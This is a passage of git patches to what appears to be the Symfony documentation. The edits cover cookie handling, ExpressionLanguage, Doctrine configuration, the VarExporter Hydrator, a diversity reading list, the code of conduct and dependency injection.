-By setting the ``Cookie`` header value, you are able to send cookies with your
-request thanks to the ``serverParameters`` argument of the
-:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::request` method::
+Requests can include cookies. To do so, use the ``serverParameters`` argument of
+the :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::request` method
+to set the ``Cookie`` header value::
 
     $client->request('GET', '/', [], [], [
         'HTTP_COOKIE' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
 
-        // you're also able to pass a string instead
+        // you can also pass the cookie contents as a string
         'HTTP_COOKIE' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
     ]);
 
diff --git a/http_client.rst b/http_client.rst
index 763f5fed4bb..aabebe87ac9 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -682,12 +682,9 @@ requires a stateful storage (because responses can update cookies and they must
 be used for subsequent requests). That's why this component doesn't handle
 cookies automatically.
 
-You can either handle cookies yourself using the ``Cookie`` HTTP header or use
-the :doc:`BrowserKit component </components/browser_kit>` which provides this
-feature and integrates seamlessly with the HttpClient component.
-
-However, you're able to send cookies in your request. This is how you can do
-so using :class:`Symfony\\Contracts\\HttpClient\\HttpClient`::
+You can either :ref:`send cookies with the BrowserKit component <component-browserkit-sending-cookies>`,
+which integrates seamlessly with the HttpClient component, or manually setting
+the ``Cookie`` HTTP header as follows::
 
     use Symfony\Component\HttpClient\HttpClient;
     use Symfony\Component\HttpFoundation\Cookie;
@@ -696,7 +693,7 @@ so using :class:`Symfony\\Contracts\\HttpClient\\HttpClient`::
         'headers' => [
             'Cookie' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
 
-            // you're also able to pass a string instead
+            // you can also pass the cookie contents as a string
             'Cookie' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
         ],
     ]);

From d0aa81404906c657bf2fde736f97e6ecea82f1d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Feb 2023 16:24:34 +0100
Subject: [PATCH 4262/7107] [ExpressionLanguage] Mention the
 validator.expression_language service

---
 components/expression_language.rst   | 6 +++++-
 reference/constraints/Expression.rst | 6 ++++++
 2 files changed, 11 insertions(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index f5551a093cd..41937ce4b0e 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -19,7 +19,11 @@ Installation
 .. include:: /components/require_autoload.rst.inc
 
 How can the Expression Engine Help Me?
---------------------------------------
+
+.. _how-can-the-expression-engine-help-me:
+
+How can the Expression Language Help Me?
+----------------------------------------
 
 The purpose of the component is to allow users to use expressions inside
 configuration for more complex logic. For some examples, the Symfony Framework
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index f9e47cf7fd9..af44d48e70e 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -250,6 +250,12 @@ For more information about the expression and what variables are available
 to you, see the :ref:`expression <reference-constraint-expression-option>`
 option details below.
 
+.. tip::
+
+    Internally, this expression validator constraint uses a service called
+    ``validator.expression_language`` to evaluate the expressions. You can
+    decorate or extend that service to fit your own needs.
+
 Options
 -------
 

From 6f0ec37b112a953af8d386d3f1bdb525947fd82f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 10 Feb 2023 17:33:32 +0100
Subject: [PATCH 4263/7107] Adding backticks

---
 setup/web_server_configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index d29b4a03c92..f17e635e9fd 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -16,9 +16,9 @@ When using Apache, you can configure PHP as an
 :ref:`PHP FPM <web-server-apache-fpm>`. FastCGI also is the preferred way
 to use PHP :ref:`with Nginx <web-server-nginx>`.
 
-.. sidebar:: The public directory
+.. sidebar:: The ``public`` directory
 
-    The public directory is the home of all of your application's public and
+    The ``public`` directory is the home of all of your application's public and
     static files, including images, stylesheets and JavaScript files. It is
     also where the front controller (``index.php``) lives.
 

From de2fc327a0e30a517a39542ef533aa4570246b31 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Feb 2023 17:36:54 +0100
Subject: [PATCH 4264/7107] Tweaks

---
 security/expressions.rst | 32 +++++++++++++++-----------------
 1 file changed, 15 insertions(+), 17 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 15e2eb3995c..5fbbdd1169a 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -26,15 +26,22 @@ and ``#[IsGranted()]`` attribute also accept an
 
         class MyController extends AbstractController
         {
+            #[IsGranted(new Expression('is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")'))]
+            public function show(): Response
+            {
+                // ...
+            }
+
             #[IsGranted(new Expression(
                 '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'
             ))]
-            public function index(): Response
+            public function edit(): Response
             {
                 // ...
             }
         }
-    .. code-block:: php-attributes
+
+    .. code-block:: php
 
         // src/Controller/MyController.php
         namespace App\Controller;
@@ -45,25 +52,16 @@ and ``#[IsGranted()]`` attribute also accept an
 
         class MyController extends AbstractController
         {
-            #[IsGranted(new Expression('is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")'))]
-            public function index(): Response
+            public function show(): Response
             {
+                $this->denyAccessUnlessGranted(new Expression(
+                    'is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")'
+                ));
+
                 // ...
             }
-        }
-
-    .. code-block:: php
-
-        // src/Controller/MyController.php
-        namespace App\Controller;
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\ExpressionLanguage\Expression;
-        use Symfony\Component\HttpFoundation\Response;
-
-        class MyController extends AbstractController
-        {
-            public function index(): Response
+            public function edit(): Response
             {
                 $this->denyAccessUnlessGranted(new Expression(
                     '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())'

From 2a34c8b8ebf06ab0829bdcbb2fee37aa10c84160 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sat, 11 Feb 2023 11:07:42 +0100
Subject: [PATCH 4265/7107] [Notifier] `from` is optional in Smsapi since 6.3

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index bb223aedeef..976f5fb9e05 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -117,6 +117,7 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
     The Bandwith, iSendPro, Plivo, RingCentral and Termii integrations were introduced
     in Symfony 6.3.
+    The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From caa947890aab668cfb61437c81c1448bad5904d3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 11 Feb 2023 15:22:47 +0100
Subject: [PATCH 4266/7107] Add a trailing slash to dir names

---
 setup/web_server_configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index f17e635e9fd..89ff10f2e62 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -16,9 +16,9 @@ When using Apache, you can configure PHP as an
 :ref:`PHP FPM <web-server-apache-fpm>`. FastCGI also is the preferred way
 to use PHP :ref:`with Nginx <web-server-nginx>`.
 
-.. sidebar:: The ``public`` directory
+.. sidebar:: The ``public/`` directory
 
-    The ``public`` directory is the home of all of your application's public and
+    The ``public/`` directory is the home of all of your application's public and
     static files, including images, stylesheets and JavaScript files. It is
     also where the front controller (``index.php``) lives.
 

From 3a4b017939560a1805514d08e7da588ec47846f4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 11 Feb 2023 15:27:53 +0100
Subject: [PATCH 4267/7107] Tweak

---
 configuration.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index dc8b57fc0f1..cfa519409c6 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -646,18 +646,23 @@ This example shows how you could configure the application secret using an env v
             ]);
         };
 
-Your env vars may also be accessed in your code thanks to PHP super
-globals ``$_ENV`` and ``$_SERVER``. Both are equivalent::
-
-    $databaseUrl = $_ENV['DATABASE_URL']; // mysql://db_user:db_password@127.0.0.1:3306/db_name
-    $env = $_SERVER['APP_ENV']; // prod
-
 .. versionadded:: 5.3
 
     The ``env()`` configurator syntax was introduced in 5.3.
     In ``PHP`` configuration files, it will allow to autocomplete methods based
     on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
 
+.. note::
+
+    Your env vars can also be accessed via the PHP super globals ``$_ENV`` and
+    ``$_SERVER`` (both are equivalent)::
+
+        $databaseUrl = $_ENV['DATABASE_URL']; // mysql://db_user:db_password@127.0.0.1:3306/db_name
+        $env = $_SERVER['APP_ENV']; // prod
+
+    However, in Symfony applications there's no need to use this, because the
+    configuration system provides a better way of working with env vars.
+
 .. seealso::
 
     The values of env vars can only be strings, but Symfony includes some

From 3d635b68a1edb1729a98d0142dcdaff13de54de3 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 16 Jan 2023 16:55:20 +0100
Subject: [PATCH 4268/7107] [Doctrine] Cleaning up the config code samples

---
 doctrine/multiple_entity_managers.rst | 57 ++++++++-------------------
 1 file changed, 16 insertions(+), 41 deletions(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 856e796a2e9..6f77aa8a455 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -1,7 +1,7 @@
 .. index::
    single: Doctrine; Multiple entity managers
 
-How to Work with multiple Entity Managers and Connections
+How to Work with Multiple Entity Managers and Connections
 =========================================================
 
 You can use multiple Doctrine entity managers or connections in a Symfony
@@ -32,20 +32,12 @@ The following configuration code shows how you can configure two entity managers
         # config/packages/doctrine.yaml
         doctrine:
             dbal:
-                default_connection: default
                 connections:
                     default:
-                        # configure these for your database server
                         url: '%env(resolve:DATABASE_URL)%'
-                        driver: 'pdo_mysql'
-                        server_version: '5.7'
-                        charset: utf8mb4
                     customer:
-                        # configure these for your database server
-                        url: '%env(resolve:DATABASE_CUSTOMER_URL)%'
-                        driver: 'pdo_mysql'
-                        server_version: '5.7'
-                        charset: utf8mb4
+                        url: '%env(resolve:CUSTOMER_DATABASE_URL)%'
+                default_connection: default
             orm:
                 default_entity_manager: default
                 entity_managers:
@@ -82,20 +74,12 @@ The following configuration code shows how you can configure two entity managers
 
             <doctrine:config>
                 <doctrine:dbal default-connection="default">
-                    <!-- configure these for your database server -->
                     <doctrine:connection name="default"
                         url="%env(resolve:DATABASE_URL)%"
-                        driver="pdo_mysql"
-                        server_version="5.7"
-                        charset="utf8mb4"
                     />
 
-                    <!-- configure these for your database server -->
                     <doctrine:connection name="customer"
-                        url="%env(resolve:DATABASE_CUSTOMER_URL)%"
-                        driver="pdo_mysql"
-                        server_version="5.7"
-                        charset="utf8mb4"
+                        url="%env(resolve:CUSTOMER_DATABASE_URL)%"
                     />
                 </doctrine:dbal>
 
@@ -131,37 +115,28 @@ The following configuration code shows how you can configure two entity managers
         use Symfony\Config\DoctrineConfig;
 
         return static function (DoctrineConfig $doctrine) {
-            $doctrine->dbal()->defaultConnection('default');
-
-            // configure these for your database server
+            // Connections:
             $doctrine->dbal()
                 ->connection('default')
-                ->url(env('DATABASE_URL')->resolve())
-                ->driver('pdo_mysql')
-                ->serverVersion('5.7')
-                ->charset('utf8mb4');
-
-            // configure these for your database server
+                ->url(env('DATABASE_URL')->resolve());
             $doctrine->dbal()
                 ->connection('customer')
-                ->url(env('DATABASE_CUSTOMER_URL')->resolve())
-                ->driver('pdo_mysql')
-                ->serverVersion('5.7')
-                ->charset('utf8mb4');
-
+                ->url(env('CUSTOMER_DATABASE_URL')->resolve());
+            $doctrine->dbal()->defaultConnection('default');
+            
+            // Entity Managers:
             $doctrine->orm()->defaultEntityManager('default');
-            $emDefault = $doctrine->orm()->entityManager('default');
-            $emDefault->connection('default');
-            $emDefault->mapping('Main')
+            $defaultEntityManager = $doctrine->orm()->entityManager('default');
+            $defaultEntityManager->connection('default');
+            $defaultEntityManager->mapping('Main')
                 ->isBundle(false)
                 ->type('annotation')
                 ->dir('%kernel.project_dir%/src/Entity/Main')
                 ->prefix('App\Entity\Main')
                 ->alias('Main');
-
-            $emCustomer = $doctrine->orm()->entityManager('customer');
-            $emCustomer->connection('customer');
-            $emCustomer->mapping('Customer')
+            $customerEntityManager = $doctrine->orm()->entityManager('customer');
+            $customerEntityManager->connection('customer');
+            $customerEntityManager->mapping('Customer')
                 ->isBundle(false)
                 ->type('annotation')
                 ->dir('%kernel.project_dir%/src/Entity/Customer')

From 1d3958bd228f37e1dd5e9961911924eee56d18fd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Feb 2023 09:09:45 +0100
Subject: [PATCH 4269/7107] [VarExporter] Add `Hydrator` section

---
 components/var_exporter.rst | 74 ++++++++++++++++++++++++++++++++-----
 1 file changed, 65 insertions(+), 9 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 810cc271a2b..9de0c1dcf62 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -95,22 +95,29 @@ file looks like this::
         []
     );
 
-Instantiating PHP Classes
--------------------------
+Instantiating & Hydrating PHP Classes
+-------------------------------------
 
-The other main feature provided by this component is an instantiator which can
-create objects and set their properties without calling their constructors or
-any other methods::
+Instantiator
+~~~~~~~~~~~~
+
+This component provides an instantiator, which can create objects and set
+their properties without calling their constructors or any other methods::
 
     use Symfony\Component\VarExporter\Instantiator;
 
-    // creates an empty instance of Foo
+    // Creates an empty instance of Foo
     $fooObject = Instantiator::instantiate(Foo::class);
 
-    // creates a Foo instance and sets one of its properties
+    // Creates a Foo instance and sets one of its properties
     $fooObject = Instantiator::instantiate(Foo::class, ['propertyName' => $propertyValue]);
 
-    // creates a Foo instance and sets a private property defined on its parent Bar class
+The instantiator also allows you to populate the property of a parent class. Assuming
+``Bar`` is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
+
+    use Symfony\Component\VarExporter\Instantiator;
+
+    // Creates a Foo instance and sets a private property defined on its parent Bar class
     $fooObject = Instantiator::instantiate(Foo::class, [], [
         Bar::class => ['privateBarProperty' => $propertyValue],
     ]);
@@ -118,7 +125,9 @@ any other methods::
 Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be
 created by using the special ``"\0"`` property name to define their internal value::
 
-    // Creates an SplObjectHash where $info1 is associated with $object1, etc.
+    use Symfony\Component\VarExporter\Instantiator;
+
+    // Creates an SplObjectStorage where $info1 is associated with $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
         "\0" => [$object1, $info1, $object2, $info2...],
     ]);
@@ -128,5 +137,52 @@ created by using the special ``"\0"`` property name to define their internal val
         "\0" => [$inputArray],
     ]);
 
+Hydrator
+~~~~~~~~
+
+The instantiator assumes the object you want to populate doesn't exist yet.
+Somehow, you may want to fill properties of an already existing object. This is
+the goal of the :class:`Symfony\\Component\\VarExporter\\Hydrator`. Here is a
+basic usage of the hydrator populating a property of an object::
+
+    use Symfony\Component\VarExporter\Hydrator;
+
+    $object = new Foo();
+    Hydrator::hydrate($object, ['propertyName' => $propertyValue]);
+
+The hydrator also allows you to populate the property of a parent class. Assuming
+``Bar`` is the parent class of ``Foo`` and defines a ``privateBarProperty`` attribute::
+
+    use Symfony\Component\VarExporter\Hydrator;
+
+    $object = new Foo();
+    Hydrator::hydrate($object, [], [
+        Bar::class => ['privateBarProperty' => $propertyValue],
+    ]);
+
+    // Alternatively, you can use the special "\0" syntax
+    Hydrator::hydrate($object, ["\0Bar\0privateBarProperty" => $propertyValue]);
+
+Instances of ``ArrayObject``, ``ArrayIterator`` and ``SplObjectHash`` can be
+populated by using the special ``"\0"`` property name to define their internal value::
+
+    use Symfony\Component\VarExporter\Hydrator;
+
+    // Creates an SplObjectHash where $info1 is associated with $object1, etc.
+    $storage = new SplObjectStorage();
+    Hydrator::hydrate($storage, [
+        "\0" => [$object1, $info1, $object2, $info2...],
+    ]);
+
+    // creates an ArrayObject populated with $inputArray
+    $arrayObject = new ArrayObject();
+    Hydrator::hydrate($arrayObject, [
+        "\0" => [$inputArray],
+    ]);
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\VarExporter\\Hydrator` was introduced in Symfony 6.2.
+
 .. _`OPcache`: https://www.php.net/opcache
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/

From 7cac7e22046e4b40a6b12fb968a2470db7066000 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Fri, 10 Feb 2023 09:21:49 +0100
Subject: [PATCH 4270/7107] Double-escape backslashes

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index f2d8f827bdf..081b59c0c02 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -629,7 +629,7 @@ and even :doc:`complex expressions </service_container/expression_language>`::
             bool $debugMode,
 
             // and expressions
-            #[Autowire(expression: 'service("App\\Mail\\MailerConfiguration").getMailerMethod()')]
+            #[Autowire(expression: 'service("App\\\Mail\\\MailerConfiguration").getMailerMethod()')]
             string $mailerMethod
         ) {
         }

From 0e2bb60e55f7d70d6898102d5734012911d201a0 Mon Sep 17 00:00:00 2001
From: Aikaterine Tsiboukas <catherine@batdesign.net>
Date: Sun, 12 Feb 2023 16:08:17 +0100
Subject: [PATCH 4271/7107] move further reading, convert to rst, remove dead
 links

---
 contributing/diversity/further_reading.rst | 56 ++++++++++++++++++++++
 contributing/diversity/index.rst           |  1 +
 2 files changed, 57 insertions(+)
 create mode 100644 contributing/diversity/further_reading.rst

diff --git a/contributing/diversity/further_reading.rst b/contributing/diversity/further_reading.rst
new file mode 100644
index 00000000000..7749636739e
--- /dev/null
+++ b/contributing/diversity/further_reading.rst
@@ -0,0 +1,56 @@
+Further reading / viewing
+====================
+
+This is a non-exhaustive list of further reading on the topic of diversity.
+
+Diversity in Open Source
+----------
+
+`Sage Sharp - What makes a good community? <https://sage.thesharps.us/2015/10/06/what-makes-a-good-community>`_
+`Ashe Dryden - The Ethics of Unpaid Labor and the OSS Community <https://www.ashedryden.com/blog/the-ethics-of-unpaid-labor-and-the-oss-community>`_
+`Model View Culture - The Dehumanizing Myth of the Meritocracy <https://modelviewculture.com/pieces/the-dehumanizing-myth-of-the-meritocracy>`_
+`Annalee - How “Good Intent” Undermines Diversity and Inclusion <https://thebias.com/2017/09/26/how-good-intent-undermines-diversity-and-inclusion>`_
+`Karolina Szczur - Building Inclusive Communities <https://speakerdeck.com/fox/building-inclusive-communities>`_
+
+Code of Conduct
+----------
+
+`Karolina Szczur - When a Code of Conduct becomes harmful <https://medium.com/@fox/when-a-code-of-conduct-becomes-harmful-1d4e737ff7aa>`_
+`Ashe Dryden - Codes of Conduct 101 + FAQ <https://www.ashedryden.com/blog/codes-of-conduct-101-faq>`_
+`Phil Sturgeon - Codes of Conduct: Maybe They're Not So Bad? <https://philsturgeon.uk/2016/09/15/codes-of-conduct-maybe-theyre-not-so-bad>`_
+
+Inclusive language
+----------
+
+`Jenée Desmond-Harris - Why I’m finally convinced it's time to stop saying "you guys" <https://www.vox.com/2015/6/11/8761227/you-guys-sexism-language>`_
+`inclusive language presentations <https://github.com/hcorona/diversity-inclusion/blob/master/inclusive-language-presentations.md>`_
+
+Other talks and blog posts
+----------
+
+`Lena Reinhard – A Talk About Nothing <https://www.youtube.com/watch?v=D3e3V66TH2Y>`_
+`Lena Reinhard - A Talk about Everything <https://www.youtube.com/watch?v=CZx7rYoq1Uw>`_
+`Sage Sharp - SCALE: Improving Diversity with Maslow’s hierarchy <https://sage.thesharps.us/2016/01/24/scale-improving-diversity-with-maslows-hierarchy>`_
+`UCSF - Unconscious Bias <https://diversity.ucsf.edu/resources/unconscious-bias>`_
+`Responding to harassment reports <http://geekfeminism.wikia.com/wiki/Conference_anti-harassment/Responding_to_reports>`_
+`Unconscious bias at work <https://rework.withgoogle.com/guides/unbiasing-raise-awareness/steps/watch-unconscious-bias-at-work>`_
+`CIS people declaring their pronouns <https://medium.com/@mrsexsmith/dear-cis-people-who-put-your-pronouns-on-your-hello-my-name-is-nametags-78c047ed7af1>`_
+
+Books
+----------
+
+`Emily Chang - Brotopia <http://www.brotopiabook.com>`_
+
+Websites
+----------
+
+`Better Allies <https://maleallies.com>`_
+`Geek Feminism WIKI <http://geekfeminism.wikia.com/wiki/Geek_Feminism_Wiki>`_
+`Open Source Diversity <https://opensourcediversity.org>`_
+`Open Demographics documentation <https://drnikki.github.io/open-demographics>`_
+`CHAOSS Metrics <https://chaoss.community/metrics/>`_
+`Up for grabs <https://up-for-grabs.net/#/>`_
+`The developmental model of intercultural sensitivity (DMIS) <http://meldye.weebly.com/what-is-dmis.html>`_
+`DiversifyTech <https://www.diversifytech.co>`_
+`so-you-just-learned <https://github.com/sublimemarch/so-you-just-learned/blob/master/README.md>`_
+`The Post-Meritocracy Manifesto <https://postmeritocracy.org>`_
diff --git a/contributing/diversity/index.rst b/contributing/diversity/index.rst
index a932c27648b..85fd0694d4e 100644
--- a/contributing/diversity/index.rst
+++ b/contributing/diversity/index.rst
@@ -5,3 +5,4 @@ Diversity Initiative
     :maxdepth: 2
 
     governance
+    further_reading

From 1ee21a569d31964083c517c9980c67e0c683eaee Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 13 Feb 2023 09:09:45 +0100
Subject: [PATCH 4272/7107] Minor

---
 contributing/diversity/further_reading.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/contributing/diversity/further_reading.rst b/contributing/diversity/further_reading.rst
index 7749636739e..8bb07c39c97 100644
--- a/contributing/diversity/further_reading.rst
+++ b/contributing/diversity/further_reading.rst
@@ -1,10 +1,10 @@
-Further reading / viewing
-====================
+Further Reading / Viewing
+=========================
 
 This is a non-exhaustive list of further reading on the topic of diversity.
 
 Diversity in Open Source
-----------
+------------------------
 
 `Sage Sharp - What makes a good community? <https://sage.thesharps.us/2015/10/06/what-makes-a-good-community>`_
 `Ashe Dryden - The Ethics of Unpaid Labor and the OSS Community <https://www.ashedryden.com/blog/the-ethics-of-unpaid-labor-and-the-oss-community>`_
@@ -13,20 +13,20 @@ Diversity in Open Source
 `Karolina Szczur - Building Inclusive Communities <https://speakerdeck.com/fox/building-inclusive-communities>`_
 
 Code of Conduct
-----------
+---------------
 
 `Karolina Szczur - When a Code of Conduct becomes harmful <https://medium.com/@fox/when-a-code-of-conduct-becomes-harmful-1d4e737ff7aa>`_
 `Ashe Dryden - Codes of Conduct 101 + FAQ <https://www.ashedryden.com/blog/codes-of-conduct-101-faq>`_
 `Phil Sturgeon - Codes of Conduct: Maybe They're Not So Bad? <https://philsturgeon.uk/2016/09/15/codes-of-conduct-maybe-theyre-not-so-bad>`_
 
 Inclusive language
-----------
+------------------
 
 `Jenée Desmond-Harris - Why I’m finally convinced it's time to stop saying "you guys" <https://www.vox.com/2015/6/11/8761227/you-guys-sexism-language>`_
 `inclusive language presentations <https://github.com/hcorona/diversity-inclusion/blob/master/inclusive-language-presentations.md>`_
 
-Other talks and blog posts
-----------
+Other talks and Blog Posts
+--------------------------
 
 `Lena Reinhard – A Talk About Nothing <https://www.youtube.com/watch?v=D3e3V66TH2Y>`_
 `Lena Reinhard - A Talk about Everything <https://www.youtube.com/watch?v=CZx7rYoq1Uw>`_
@@ -37,12 +37,12 @@ Other talks and blog posts
 `CIS people declaring their pronouns <https://medium.com/@mrsexsmith/dear-cis-people-who-put-your-pronouns-on-your-hello-my-name-is-nametags-78c047ed7af1>`_
 
 Books
-----------
+-----
 
 `Emily Chang - Brotopia <http://www.brotopiabook.com>`_
 
 Websites
-----------
+--------
 
 `Better Allies <https://maleallies.com>`_
 `Geek Feminism WIKI <http://geekfeminism.wikia.com/wiki/Geek_Feminism_Wiki>`_

From 34cf1bb51342a14f730f3d94e9d1d84582098e52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Feb 2023 17:07:57 +0100
Subject: [PATCH 4273/7107] Minor tweak

---
 contributing/code_of_conduct/concrete_example_document.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code_of_conduct/concrete_example_document.rst b/contributing/code_of_conduct/concrete_example_document.rst
index 0981cce4454..f1ccb0b3e96 100644
--- a/contributing/code_of_conduct/concrete_example_document.rst
+++ b/contributing/code_of_conduct/concrete_example_document.rst
@@ -1,4 +1,4 @@
-Code of Conduct: Concrete Example Document
+iCode of Conduct: Concrete Example Document
 ==========================================
 
 This is a living document that serves to give concrete examples of
@@ -22,8 +22,8 @@ Concrete Examples
   inappropriate levels of intimacy with others;
 * Continued one-on-one communication after requests to cease;
 * Putting down people based on their technology choices or their work;
-* Taking photographs of conference attendees and speakers and publishing them
-  without their explicit permission.
+* Taking photographs of a conference attendee or speaker in the foreground and
+  publishing them without their permission.
 
 The original list is inspired and modified from `geek feminism`_ and
 confirmed by experiences from PHPWomen.

From 123af46408aae022c7d78091c1300ae237776878 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Feb 2023 17:09:05 +0100
Subject: [PATCH 4274/7107] Minor fix

---
 contributing/code_of_conduct/concrete_example_document.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code_of_conduct/concrete_example_document.rst b/contributing/code_of_conduct/concrete_example_document.rst
index f1ccb0b3e96..60ffe2527db 100644
--- a/contributing/code_of_conduct/concrete_example_document.rst
+++ b/contributing/code_of_conduct/concrete_example_document.rst
@@ -1,4 +1,4 @@
-iCode of Conduct: Concrete Example Document
+Code of Conduct: Concrete Example Document
 ==========================================
 
 This is a living document that serves to give concrete examples of

From 7ad14476b3588b8c9190d83cb6e5b67042bd9877 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Tue, 14 Feb 2023 11:19:21 +0100
Subject: [PATCH 4275/7107] Fix the example for the When constraint

When evaluating the expression, the ExpressionLanguage does not have access to private properties of the object, as it runs from its outside. And contrary to Twig, ExpressionLanguage does not have the magic `.` operator that tries to find a getter when it cannot use the property.
---
 reference/constraints/When.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index acd35cddcf5..ed855857b1d 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -69,7 +69,7 @@ One way to accomplish this is with the When constraint:
         {
             #[Assert\GreaterThan(0)]
             #[Assert\When(
-                expression: 'this.type == "percent"',
+                expression: 'this.getType() == "percent"',
                 constraints: [
                     new Assert\LessThanOrEqual(100, message: 'The value should be between 1 and 100!')
                 ],
@@ -87,7 +87,7 @@ One way to accomplish this is with the When constraint:
                 value:
                     - GreaterThan: 0
                     - When:
-                        expression: "this.type == 'percent'"
+                        expression: "this.getType() == 'percent'"
                         constraints:
                             - LessThanOrEqual:
                                 value: 100
@@ -105,7 +105,7 @@ One way to accomplish this is with the When constraint:
                     <constraint name="GreaterThan">0</constraint>
                     <constraint name="When">
                         <option name="expression">
-                            this.type == 'percent'
+                            this.getType() == 'percent'
                         </option>
                         <option name="constraints">
                             <constraint name="LessThanOrEqual">
@@ -132,7 +132,7 @@ One way to accomplish this is with the When constraint:
             {
                 $metadata->addPropertyConstraint('value', new Assert\GreaterThan(0));
                 $metadata->addPropertyConstraint('value', new Assert\When([
-                    'expression' => 'this.type == "percent"',
+                    'expression' => 'this.getType() == "percent"',
                     'constraints' => [
                         new Assert\LessThanOrEqual([
                             'value' => 100,

From 6f1a620522989026783b0d1160c66b3965fc1295 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 13 Feb 2023 22:15:39 +0100
Subject: [PATCH 4276/7107] [DependencyInjection] Document Container invalid
 behavior

---
 components/dependency_injection.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 470bcc7f2fc..26fd4d1c87f 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -170,6 +170,30 @@ like this::
 
     $newsletterManager = $containerBuilder->get('newsletter_manager');
 
+Behavior When Service Does Not Exist
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, an exception is throw when a service does not exist. You can override the behavior by::
+
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\ContainerInterface;
+
+    $containerBuilder = new ContainerBuilder();
+
+    // ...
+
+    // the second argument is optional and define the behavior
+    $newsletterManager = $containerBuilder->get('newsletter_manager', ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE);
+
+
+Possible behaviors are:
+
